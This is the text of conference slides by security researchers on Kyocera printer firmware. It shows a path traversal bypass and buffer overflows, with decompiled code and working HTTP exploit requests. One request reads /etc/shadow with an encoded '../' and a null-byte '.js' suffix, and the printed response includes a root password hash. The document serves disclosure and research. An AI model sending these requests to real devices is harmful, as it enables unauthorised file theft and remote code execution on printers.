CRACKING KYOCERA PRINTERS

Minghang Shen - Security researcher
Email: hadreys1007@gmail.com
Twitter: @peanuts_sec
Who we are?

Ming hang Shen  a Independent security researcher

Min Li security researcher of TianGong Lab at QiAnXin Technology Research Institute

Yue Liu team leader of TianGong Lab at QiAnXin Technology Research Institute

@chumen77 security researcher
OVERVIEW

Kyocera is an award-winning printer and copier manufacturer and one of the top brands for such devices.

Printers

Multifunctional
But in the past, the security analysis of the brand was relatively small.

In the official website, the firmware is not available for download.
SET UP
FIRMWARE GET

If you have a device. We can extract the by using some hardware method
FIRMWARE GET

![Image of hands taking a coin from a wallet]
FIRMWARE GET

Kyocera
Kyocera does not release firmware to end-users. In a publicly available Kyocera dealer forum however, firmware downloads for various models are linked: ftp.kdaconnect.com.

And you will think where can I found dealer?

Reference: http://hacking-printers.net/wiki/index.php/Firmware_updates
FIRMWARE GET

Go to some DIYer or Second-hand platform

Not real chat, but same as it

Hello do you xx device firmware?
Yes, any other need?
No, how much?
40RMB
So expensive, Can more cheaper?
20RMB
good, I buy it

#HITB2022SIN
A Vulnerability help us debug

There is a file in Kyocera's firmware that will record the checksum of each firmware part.
BUG DETAIL

• 5 Bugs
  • Path Traversal
  • Memory Corruption Issues
    • Buffer Overflow Parsing Content-Type Headers
    • Buffer Overflow Parsing Config Parameters
BUG DETAIL

Path Traversal

- No user certification is required
  - Allowed access to files anywhere in the file system.
    - In some devices, if you know the storage location of the scanning version of the print file, you can get it
  - Allowed to check if a file existed or not in the file system.
Path Traversal

• Due to a bad patch to discover it.
  • The patch is easily bypassed.
    • Similar to CVE-2019-13195.
    • We optimized the attack payload.
      • In the exploit part
BUG DETAIL

Memory Corruption Issues

• RCE or DOS
  • Buffer Overflow Parsing Content-Type Headers
    • No user certification is required
  • Buffer Overflow Parsing Config Parameters
    • Device Settings : System
    • Security Settings : Certificates
      • set
      • edit
BUG DETAIL

Memory Corruption Issues

- Buffer Overflow Parsing Content-Type Headers.
  - When processing the `boundary` field
  - The complete function call chain is:

    ```c
    ifs_eweb_receive_request_wrap—>distribute_request
    —>distribute_set_cgi—>execute_request—>
    get_post_body—>get_multipart_parameter
    ```
BUG DETAIL

Memory Corruption Issues

• Buffer Overflow Parsing Config Parameters.
  • In the post request, CGI will call the corresponding function to process the request.

In the data section, you can find a large number of cgi functions. We can use ida-python for processing.

```python
# encoding: utf-8
import idc
import ida_bytes
import ida_idaapi
from idaapi import *

start_addr = 0x003D9310
end_addr = 0x003F600C

curr_addr = start_addr
while (curr_addr < end_addr):
    num_chars = 0
    string_start = curr_addr
    while(ida_bytes.get_byte(string_start,num_chars)==0):
        num_chars = num_chars + 1
        string_start = string_start+num_chars
    string_end = string_start+num_chars
    funcname = idc.get_strlit_contents(string_start).decode()
    num_chars = 0
    curr_addr = curr_addr + 40
    create_data(curr_addr,FF_UNICODE,4,ida_idaapi.BADADDR)
    set_type(curr_addr,'void '*)
    set_name(idc.get_wide_dword(curr_addr),funcname,SN_CHECK)
    print((funcname + ' ' + ' ' + hex(idc.get_wide_dword(curr_addr)))
    curr_addr = curr_addr + 8)
```

checkPermission => 0x1008/C
getOtherRFOverSSLMode => 0x11d6e4
getOtherRFOverSSLPport => 0x11d6b0
getOtherEnhancedRFOverSSLMode => 0x11da80
getOtherEnhancedRFOverSSLPport => 0x11dc74
setRemoteOperation => 0x12f80
getRemoteOperation => 0x1360a4
getUseRestriction => 0x13860
getVNCCompatibleSoftware => 0x13a4c
getSecurityCheck => 0x13d0c
getRemoteOperationInternetVer => 0x16ea8
getRemoteOperationApprover => 0x1704C
OK
BUG DETAIL

Memory Corruption Issues

- Buffer Overflow Parsing Config Parameters.
  - argxx is the configuration parameter to be parsed

```c
if ( a1[1] )
{
    sprintf(v142, "%Error>:%s: Host name[argv1 = ", "loEwebHFSysDef.

    v4 = check_args_len_asci_C04C4(a1[1], v142, 0x41u);
    if ( v4 )
        return v4;
    memset(dest, 0, 0x41u);
    strncpy(dest, a1[1], 0x40u);
}
```

func name  config args
BUG DETAIL

Memory Corruption Issues

• Buffer Overflow Parsing Config Parameters.
  • When processing the Specific parameters
Memory Corruption Issues

- Buffer Overflow Parsing Config Parameters.
  - When processing the **Specific parameters**
BUG DETAIL

Memory Corruption Issues

• Buffer Overflow Parsing Config Parameters.

• When processing the Specific parameters

```c
int __fastcall setSecSetCSR(int *a1, int a2)
{
    int buf[154]; // [sp+48h] [bp-284h] BYREF
    ... arg1 = a1[1];
    if ( arg1 )
        strcpy(buf, arg1);
    arg6 = a1[6];
    if ( arg6 )
        strcpy(s + 3, arg6);
    ...}

int __fastcall setSecEditCSR(int *a1, int a2)
{
    //...
    int s[154]; // [sp+40h] [bp-28Ch] BYREF
    ... arg1 = a1[1];
    if ( arg1 )
        strcpy(buf, arg1);
    ...}
```
EXPLOIT

Path Traversal

• No URL decoding, directly compare

1. `%2e%2e%2f` which translates to `../`
2. `%2e%2e/` which translates to `../`

Bypass
EXPLOIT

Path Traversal

But ....

GET /%e2%e2/%e2%e2/%e2%e2/%e2%e2/%e2%e2/etc/shadow
HTTP/1.1
Host: 127.0.0.1
Cookie: rtl=0;
Accept: */*
Referer: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

HTTP/1.1 500 Internal Server Error
Content-Length: 25
Content-Type: text/html
Accept-Encoding: identity
Date: Tue, 16 Aug 2022 06:12:11 GMT
Server: KM-MFP-http/V0.0.1

500 Internal Server Error

Determine the shadow file exist, but why the http return value is 500
EXPLOIT

Path Traversal

And...

```
GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/init.d/sysfs.sh HTTP/1.1
Host: 127.0.0.1
Cookie: rtl=0;
Accept: */*
Referer: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

HTTP/1.1 200 OK
Content-Length: 660
Accept-Encoding: identity
Date: 1
Server: KM-MFP-http/V0.0.1
Last-Modified: 
ETag: "../../../../../etc/init.d/sysfs.sh, 
Content-Type: application/x-sh
X-Frame-Options: SAMEORIGIN

#!/bin/sh
### BEGIN INIT INFO
# Provides: mountvirtfs
```
EXPLOIT

Path Traversal

• Check the pseudo code

• Before sending a response, it will check whether the user-supplied filename ends in a particular file type
  • only access: js, htm, css, sh...?
EXPLOIT

Path Traversal

• Check the pseudo code
  • `get_content_type` has no URL decoding directly matches file type
  • `create_response` will decode URL before creating a request
EXPLOIT

Path Traversal

GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow%00.js
HTTP/1.1
Host: 127.0.0.1
Cookie: rtl=0;
Accept: */*
Referer: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh; q=0.9
Connection: close

1 HTTP/1.1 200 OK
2 Content-Length: 401
3 Accept-Encoding: identity
4 Date: Sat, 10 Sep 2022 11:02:05 GMT
5 Server: KM-MFP-http/V0.0.1
6 Last-Modified: Mon, 10 Sep 2022 06:59:03 GMT
7 ETag: "//../.../../etc/shadow,"
8 Content-Type: application/x-javascript
9 X-Frame-Options: SAMEORIGIN
10
11 root:$1$tE2pkl/$08uDq18e49GZW0Av2fbSH.:11029::::::
12 daemon:*:11029:::
EXPLOIT

Memory Corruption Issues

```c
int __fastcall get_multipart_parameter(struct_a2 **a1, char *a2, char *a3)
{
    struct_a2 **v3;    // r10
    struct_a3 *a3_point; // r8
    //...
    char buf[128]; // [sp+48h] [bp-12Ch] BYREF
    char src[172]; // [sp+c8h] [bp-ACh] BYREF
    //...
    _a3_point = (*a1)->a3_point;
    dest = 0;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, _a3_point->boundary);
    strcat(buf, "=");
    //...
}
```

```c
int __fastcall setDvcSetSysSettings(int *a1, int a2)
{
    //...
    if ( a1[1] )
        ...
    }
    //...
    v75 = *(Uunk_3C0788 + point + 1452);
    _display_aplicacion_exec2_ 0x3c0d4c->9
    //...
    if ( v75 == 9 )
    {
        arg24 = a1[24];
        if ( arg24 )
            strcpy(v145, arg24);
    // bof
    //...
}
```

```c
int __fastcall setSecSetCSR(int *a1, int a2)
{
    //...
    int buf[154]; // [sp+48h] [bp-284h] BYREF
    //...
    arg1 = a1[1];
    if ( _arg1 )
        strcpy(buf, arg1);
    arg6 = a1[6];
    if ( _arg6 )
        strcpy(s + 3, arg6);
    //...
}
```

```c
int __fastcall setSecEditCSR(int *a1, int a2)
{
    //...
    int s[154]; // [sp+40h] [bp-28Ch] BYREF
    //...
    arg1 = a1[1];
    if ( _arg1 )
        strcpy(buf, arg1);
    //...
}
```
EXPLOIT

Memory Corruption Issues

POST /svcmsgcharset/set.cgi HTTP/1.1
Host: 127.0.0.1
Content-Length: 1
Content-Type: multipart/form-data;
boundary=multipart/form-data;
Connection: close

eweb.cnf
Memory Corruption Issues

POST /secset/certi/set.cgi HTTP/1.1
Host: 127.0.0.1
Cookie: rtl=0; cert=
Content-Length: 18
Connection: close

POST /dvcset/sysset/set.cgi HTTP/1.1
Host: 127.0.0.1
Cookie: rtl=0; css=1; cert_id=1; type=0; level=1; ID2=1839180494
Connection: close
CONCLUSION

1. Many of them lack of research on the brand not really security

2. If printer hacked by attacker, they can access to many confidential information

3. Printer security needs more attention
Thank You!